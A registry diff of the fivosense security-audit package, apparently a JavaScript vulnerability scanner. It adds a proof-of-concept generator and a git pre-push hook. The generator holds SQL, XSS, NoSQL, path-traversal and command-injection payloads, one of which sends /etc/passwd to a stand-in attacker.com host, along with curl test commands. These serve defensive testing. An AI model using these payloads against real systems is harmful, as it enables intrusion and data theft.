fivosense 0.1.4 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (56) hide show
  1. package/COMPLETE_SUMMARY.md +412 -0
  2. package/DOCUMENTATION.md +608 -0
  3. package/FINAL_VERIFICATION.md +316 -0
  4. package/README.md +198 -316
  5. package/VERIFICATION_CHECKLIST.md +307 -0
  6. package/dist/ai/client.d.ts +27 -0
  7. package/dist/ai/client.d.ts.map +1 -0
  8. package/dist/ai/client.js +167 -0
  9. package/dist/ai/client.js.map +1 -0
  10. package/dist/ai/judge.d.ts +3 -3
  11. package/dist/ai/judge.d.ts.map +1 -1
  12. package/dist/ai/judge.js +43 -14
  13. package/dist/ai/judge.js.map +1 -1
  14. package/dist/cli/index.js +48 -7
  15. package/dist/cli/index.js.map +1 -1
  16. package/dist/core/orchestrator.d.ts +31 -0
  17. package/dist/core/orchestrator.d.ts.map +1 -0
  18. package/dist/core/orchestrator.js +205 -0
  19. package/dist/core/orchestrator.js.map +1 -0
  20. package/dist/core/scope.d.ts +29 -0
  21. package/dist/core/scope.d.ts.map +1 -0
  22. package/dist/core/scope.js +143 -0
  23. package/dist/core/scope.js.map +1 -0
  24. package/dist/engine/adversary.d.ts +3 -2
  25. package/dist/engine/adversary.d.ts.map +1 -1
  26. package/dist/engine/adversary.js +43 -12
  27. package/dist/engine/adversary.js.map +1 -1
  28. package/dist/engine/poc.d.ts +20 -0
  29. package/dist/engine/poc.d.ts.map +1 -0
  30. package/dist/engine/poc.js +176 -0
  31. package/dist/engine/poc.js.map +1 -0
  32. package/dist/features/index.d.ts +7 -0
  33. package/dist/features/index.d.ts.map +1 -0
  34. package/dist/features/index.js +7 -0
  35. package/dist/features/index.js.map +1 -0
  36. package/dist/hooks/git.d.ts +31 -0
  37. package/dist/hooks/git.d.ts.map +1 -0
  38. package/dist/hooks/git.js +155 -0
  39. package/dist/hooks/git.js.map +1 -0
  40. package/mcp/index.js +48 -20
  41. package/mcp/package-lock.json +382 -0
  42. package/mcp/package.json +1 -1
  43. package/package.json +1 -1
  44. package/src/ai/client.ts +219 -0
  45. package/src/ai/judge.ts +51 -14
  46. package/src/cli/index.ts +46 -7
  47. package/src/core/orchestrator.ts +259 -0
  48. package/src/core/scope.ts +168 -0
  49. package/src/engine/adversary.ts +48 -12
  50. package/src/engine/poc.ts +212 -0
  51. package/src/features/index.ts +7 -0
  52. package/src/hooks/git.ts +187 -0
  53. package/vscode-extension/fivosense-vscode-0.1.0.vsix +0 -0
  54. package/vscode-extension/package-lock.json +4 -4
  55. package/vscode-extension/package.json +3 -3
  56. package/vscode-extension/src/extension.ts +65 -11
@@ -0,0 +1 @@
1
+ {"version":3,"file":"poc.d.ts","sourceRoot":"","sources":["../../src/engine/poc.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAEhD,MAAM,WAAW,OAAO;IACtB,QAAQ,EAAE,MAAM,CAAC;IACjB,OAAO,EAAE,MAAM,CAAC;IAChB,gBAAgB,EAAE,MAAM,CAAC;IACzB,QAAQ,EAAE,MAAM,CAAC;IACjB,WAAW,CAAC,EAAE,MAAM,CAAC;CACtB;AA8ID;;GAEG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,UAAU,GAAG,OAAO,CA6BtD;AAED;;GAEG;AACH,wBAAgB,iBAAiB,CAAC,GAAG,EAAE,OAAO,GAAG,MAAM,CAoBtD"}
@@ -0,0 +1,176 @@
1
+ /**
2
+ * PoC Generator - Generate proof-of-concept exploits
3
+ */
4
+ /**
5
+ * Generate SQL injection PoC
6
+ */
7
+ function generateSQLPoC(trace) {
8
+ const payloads = [
9
+ "' OR '1'='1",
10
+ "'; DROP TABLE users--",
11
+ "' UNION SELECT NULL, username, password FROM users--",
12
+ ];
13
+ const payload = payloads[0];
14
+ return {
15
+ category: 'SQL Injection',
16
+ payload,
17
+ expectedBehavior: 'Bypasses authentication or extracts data',
18
+ testCode: `
19
+ // Test SQL Injection
20
+ const maliciousInput = "${payload}";
21
+ const query = "SELECT * FROM users WHERE id = '" + maliciousInput + "'";
22
+ // Expected: Query becomes: SELECT * FROM users WHERE id = '' OR '1'='1'
23
+ // Result: Returns all users (authentication bypass)
24
+ `,
25
+ curlCommand: trace.path.includes('req.')
26
+ ? `curl -X POST http://localhost:3000/api/endpoint -d "id=${encodeURIComponent(payload)}"`
27
+ : undefined,
28
+ };
29
+ }
30
+ /**
31
+ * Generate XSS PoC
32
+ */
33
+ function generateXSSPoC(trace) {
34
+ const payloads = [
35
+ '<script>alert(document.cookie)</script>',
36
+ '<img src=x onerror=alert(1)>',
37
+ '<svg onload=alert(1)>',
38
+ ];
39
+ const payload = payloads[0];
40
+ return {
41
+ category: 'Cross-Site Scripting (XSS)',
42
+ payload,
43
+ expectedBehavior: 'Executes JavaScript in victim browser',
44
+ testCode: `
45
+ // Test XSS
46
+ const maliciousInput = "${payload}";
47
+ document.getElementById('output').innerHTML = maliciousInput;
48
+ // Expected: Script executes, shows alert with cookies
49
+ // Impact: Session hijacking, data theft
50
+ `,
51
+ curlCommand: trace.path.includes('req.')
52
+ ? `curl "http://localhost:3000/page?name=${encodeURIComponent(payload)}"`
53
+ : undefined,
54
+ };
55
+ }
56
+ /**
57
+ * Generate Command Injection PoC
58
+ */
59
+ function generateCommandPoC(trace) {
60
+ const payloads = [
61
+ '; cat /etc/passwd',
62
+ '| whoami',
63
+ '&& curl attacker.com/?data=$(cat /etc/passwd)',
64
+ ];
65
+ const payload = payloads[0];
66
+ return {
67
+ category: 'Command Injection',
68
+ payload,
69
+ expectedBehavior: 'Executes arbitrary system commands',
70
+ testCode: `
71
+ // Test Command Injection
72
+ const maliciousInput = "file.txt${payload}";
73
+ exec(\`cat \${maliciousInput}\`);
74
+ // Expected: Runs: cat file.txt; cat /etc/passwd
75
+ // Result: Leaks system password file
76
+ `,
77
+ curlCommand: trace.path.includes('req.')
78
+ ? `curl -X POST http://localhost:3000/api/command -d "file=test.txt${encodeURIComponent(payload)}"`
79
+ : undefined,
80
+ };
81
+ }
82
+ /**
83
+ * Generate Path Traversal PoC
84
+ */
85
+ function generatePathTraversalPoC(trace) {
86
+ const payloads = [
87
+ '../../../etc/passwd',
88
+ '..\\..\\..\\windows\\system32\\config\\sam',
89
+ '....//....//....//etc/passwd',
90
+ ];
91
+ const payload = payloads[0];
92
+ return {
93
+ category: 'Path Traversal',
94
+ payload,
95
+ expectedBehavior: 'Reads files outside intended directory',
96
+ testCode: `
97
+ // Test Path Traversal
98
+ const maliciousInput = "${payload}";
99
+ fs.readFile(\`/uploads/\${maliciousInput}\`, (err, data) => {
100
+ // Expected: Reads /etc/passwd instead of /uploads/file
101
+ // Result: Exposes sensitive system files
102
+ });
103
+ `,
104
+ curlCommand: trace.path.includes('req.')
105
+ ? `curl "http://localhost:3000/download?file=${encodeURIComponent(payload)}"`
106
+ : undefined,
107
+ };
108
+ }
109
+ /**
110
+ * Generate NoSQL Injection PoC
111
+ */
112
+ function generateNoSQLPoC(trace) {
113
+ const payload = '{"$gt": ""}';
114
+ return {
115
+ category: 'NoSQL Injection',
116
+ payload,
117
+ expectedBehavior: 'Bypasses authentication or extracts data',
118
+ testCode: `
119
+ // Test NoSQL Injection
120
+ const maliciousInput = ${payload};
121
+ db.collection('users').find({ username: req.body.username, password: maliciousInput });
122
+ // Expected: Query matches all documents (password always > "")
123
+ // Result: Authentication bypass
124
+ `,
125
+ curlCommand: trace.path.includes('req.')
126
+ ? `curl -X POST http://localhost:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":${payload}}'`
127
+ : undefined,
128
+ };
129
+ }
130
+ /**
131
+ * Generate PoC based on vulnerability type
132
+ */
133
+ export function generatePoC(trace) {
134
+ switch (trace.category.toLowerCase()) {
135
+ case 'sql':
136
+ return generateSQLPoC(trace);
137
+ case 'xss':
138
+ return generateXSSPoC(trace);
139
+ case 'command':
140
+ return generateCommandPoC(trace);
141
+ case 'path':
142
+ return generatePathTraversalPoC(trace);
143
+ case 'nosql':
144
+ return generateNoSQLPoC(trace);
145
+ default:
146
+ return {
147
+ category: trace.category,
148
+ payload: '<malicious-input>',
149
+ expectedBehavior: 'Exploits vulnerability',
150
+ testCode: `
151
+ // Generic test for ${trace.category}
152
+ const maliciousInput = "<malicious-input>";
153
+ // Test with malicious input to verify vulnerability
154
+ `,
155
+ };
156
+ }
157
+ }
158
+ /**
159
+ * Format PoC as markdown
160
+ */
161
+ export function formatPoCMarkdown(poc) {
162
+ let md = `## ${poc.category} - Proof of Concept\n\n`;
163
+ md += `### Payload\n\`\`\`\n${poc.payload}\n\`\`\`\n\n`;
164
+ md += `### Expected Behavior\n${poc.expectedBehavior}\n\n`;
165
+ md += `### Test Code\n\`\`\`javascript${poc.testCode}\n\`\`\`\n\n`;
166
+ if (poc.curlCommand) {
167
+ md += `### HTTP Test\n\`\`\`bash\n${poc.curlCommand}\n\`\`\`\n\n`;
168
+ }
169
+ md += `### Mitigation\n`;
170
+ md += `- Use parameterized queries or prepared statements\n`;
171
+ md += `- Validate and sanitize all user input\n`;
172
+ md += `- Use allow-lists instead of block-lists\n`;
173
+ md += `- Apply principle of least privilege\n`;
174
+ return md;
175
+ }
176
+ //# sourceMappingURL=poc.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"poc.js","sourceRoot":"","sources":["../../src/engine/poc.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,7 @@
1
+ /**
2
+ * Features exports
3
+ */
4
+ export * from './roast.js';
5
+ export * from './badge.js';
6
+ export * from './fix.js';
7
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/features/index.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,cAAc,YAAY,CAAC;AAC3B,cAAc,YAAY,CAAC;AAC3B,cAAc,UAAU,CAAC"}
@@ -0,0 +1,7 @@
1
+ /**
2
+ * Features exports
3
+ */
4
+ export * from './roast.js';
5
+ export * from './badge.js';
6
+ export * from './fix.js';
7
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/features/index.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,cAAc,YAAY,CAAC;AAC3B,cAAc,YAAY,CAAC;AAC3B,cAAc,UAAU,CAAC"}
@@ -0,0 +1,31 @@
1
+ /**
2
+ * Git Hooks - Pre-push security audit
3
+ */
4
+ export interface GitHookResult {
5
+ allowed: boolean;
6
+ findings: number;
7
+ critical: number;
8
+ high: number;
9
+ message: string;
10
+ }
11
+ /**
12
+ * Get list of staged files
13
+ */
14
+ export declare function getStagedFiles(): Promise<string[]>;
15
+ /**
16
+ * Get list of files changed in current branch vs main
17
+ */
18
+ export declare function getBranchChangedFiles(base?: string): Promise<string[]>;
19
+ /**
20
+ * Run pre-push hook audit
21
+ */
22
+ export declare function runPrePushHook(options?: {
23
+ blockOnCritical?: boolean;
24
+ blockOnHigh?: boolean;
25
+ verbose?: boolean;
26
+ }): Promise<GitHookResult>;
27
+ /**
28
+ * Install git pre-push hook
29
+ */
30
+ export declare function installPrePushHook(repoPath?: string): Promise<boolean>;
31
+ //# sourceMappingURL=git.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"git.d.ts","sourceRoot":"","sources":["../../src/hooks/git.ts"],"names":[],"mappings":"AAAA;;GAEG;AASH,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,MAAM,CAAC;IACjB,QAAQ,EAAE,MAAM,CAAC;IACjB,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,MAAM,CAAC;CACjB;AAED;;GAEG;AACH,wBAAsB,cAAc,IAAI,OAAO,CAAC,MAAM,EAAE,CAAC,CAWxD;AAED;;GAEG;AACH,wBAAsB,qBAAqB,CAAC,IAAI,GAAE,MAAe,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,CAWpF;AAED;;GAEG;AACH,wBAAsB,cAAc,CAAC,OAAO,GAAE;IAC5C,eAAe,CAAC,EAAE,OAAO,CAAC;IAC1B,WAAW,CAAC,EAAE,OAAO,CAAC;IACtB,OAAO,CAAC,EAAE,OAAO,CAAC;CACd,GAAG,OAAO,CAAC,aAAa,CAAC,CAoG9B;AAED;;GAEG;AACH,wBAAsB,kBAAkB,CAAC,QAAQ,GAAE,MAAY,GAAG,OAAO,CAAC,OAAO,CAAC,CAkBjF"}
@@ -0,0 +1,155 @@
1
+ /**
2
+ * Git Hooks - Pre-push security audit
3
+ */
4
+ import { auditFile } from '../index.js';
5
+ import { exec } from 'child_process';
6
+ import { promisify } from 'util';
7
+ const execAsync = promisify(exec);
8
+ /**
9
+ * Get list of staged files
10
+ */
11
+ export async function getStagedFiles() {
12
+ try {
13
+ const { stdout } = await execAsync('git diff --cached --name-only --diff-filter=ACM');
14
+ return stdout
15
+ .split('\n')
16
+ .filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
17
+ .filter(f => f.trim().length > 0);
18
+ }
19
+ catch (error) {
20
+ console.warn('Failed to get staged files:', error);
21
+ return [];
22
+ }
23
+ }
24
+ /**
25
+ * Get list of files changed in current branch vs main
26
+ */
27
+ export async function getBranchChangedFiles(base = 'main') {
28
+ try {
29
+ const { stdout } = await execAsync(`git diff --name-only ${base}...HEAD`);
30
+ return stdout
31
+ .split('\n')
32
+ .filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
33
+ .filter(f => f.trim().length > 0);
34
+ }
35
+ catch (error) {
36
+ console.warn('Failed to get branch changed files:', error);
37
+ return [];
38
+ }
39
+ }
40
+ /**
41
+ * Run pre-push hook audit
42
+ */
43
+ export async function runPrePushHook(options = {}) {
44
+ const { blockOnCritical = true, blockOnHigh = false, verbose = true, } = options;
45
+ try {
46
+ // Get files to audit
47
+ const files = await getBranchChangedFiles();
48
+ if (files.length === 0) {
49
+ return {
50
+ allowed: true,
51
+ findings: 0,
52
+ critical: 0,
53
+ high: 0,
54
+ message: '✅ No JavaScript/TypeScript files changed',
55
+ };
56
+ }
57
+ if (verbose) {
58
+ console.log(`\n🔍 FivoSense Pre-Push Audit`);
59
+ console.log(`📁 Scanning ${files.length} file(s)...\n`);
60
+ }
61
+ let totalFindings = 0;
62
+ let totalCritical = 0;
63
+ let totalHigh = 0;
64
+ const issues = [];
65
+ // Audit each file
66
+ for (const file of files) {
67
+ try {
68
+ const result = await auditFile(file);
69
+ if (result.summary.total > 0) {
70
+ totalFindings += result.summary.total;
71
+ totalCritical += result.summary.critical;
72
+ totalHigh += result.summary.high;
73
+ if (verbose && (result.summary.critical > 0 || result.summary.high > 0)) {
74
+ console.log(`❌ ${file}:`);
75
+ console.log(` Critical: ${result.summary.critical}, High: ${result.summary.high}, Medium: ${result.summary.medium}`);
76
+ issues.push(`${file}: ${result.summary.critical}C/${result.summary.high}H/${result.summary.medium}M`);
77
+ }
78
+ }
79
+ }
80
+ catch (error) {
81
+ if (verbose) {
82
+ console.warn(`⚠️ Failed to audit ${file}:`, error);
83
+ }
84
+ }
85
+ }
86
+ // Determine if push should be blocked
87
+ const shouldBlock = (blockOnCritical && totalCritical > 0) || (blockOnHigh && totalHigh > 0);
88
+ if (verbose) {
89
+ console.log(`\n📊 Summary:`);
90
+ console.log(` Total findings: ${totalFindings}`);
91
+ console.log(` Critical: ${totalCritical}`);
92
+ console.log(` High: ${totalHigh}\n`);
93
+ }
94
+ if (shouldBlock) {
95
+ return {
96
+ allowed: false,
97
+ findings: totalFindings,
98
+ critical: totalCritical,
99
+ high: totalHigh,
100
+ message: `❌ Push blocked: ${totalCritical} critical and ${totalHigh} high severity issues found\n\n${issues.join('\n')}\n\nFix these issues or use --no-verify to bypass.`,
101
+ };
102
+ }
103
+ if (totalFindings > 0) {
104
+ return {
105
+ allowed: true,
106
+ findings: totalFindings,
107
+ critical: totalCritical,
108
+ high: totalHigh,
109
+ message: `⚠️ Push allowed with warnings: ${totalFindings} issue(s) found (${totalCritical}C/${totalHigh}H)`,
110
+ };
111
+ }
112
+ return {
113
+ allowed: true,
114
+ findings: 0,
115
+ critical: 0,
116
+ high: 0,
117
+ message: '✅ All files passed security audit',
118
+ };
119
+ }
120
+ catch (error) {
121
+ return {
122
+ allowed: true,
123
+ findings: 0,
124
+ critical: 0,
125
+ high: 0,
126
+ message: `⚠️ Pre-push hook failed: ${error instanceof Error ? error.message : 'Unknown error'}`,
127
+ };
128
+ }
129
+ }
130
+ /**
131
+ * Install git pre-push hook
132
+ */
133
+ export async function installPrePushHook(repoPath = '.') {
134
+ try {
135
+ const hookPath = `${repoPath}/.git/hooks/pre-push`;
136
+ const hookScript = `#!/bin/sh
137
+ # FivoSense pre-push hook
138
+ npx fivosense --pre-push
139
+ exit $?
140
+ `;
141
+ await writeFile(hookPath, hookScript);
142
+ await execAsync(`chmod +x ${hookPath}`);
143
+ console.log('✅ Pre-push hook installed successfully');
144
+ return true;
145
+ }
146
+ catch (error) {
147
+ console.error('❌ Failed to install pre-push hook:', error);
148
+ return false;
149
+ }
150
+ }
151
+ async function writeFile(path, content) {
152
+ const { writeFile } = await import('fs/promises');
153
+ await writeFile(path, content);
154
+ }
155
+ //# sourceMappingURL=git.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"git.js","sourceRoot":"","sources":["../../src/hooks/git.ts"],"names":[],"mappings":"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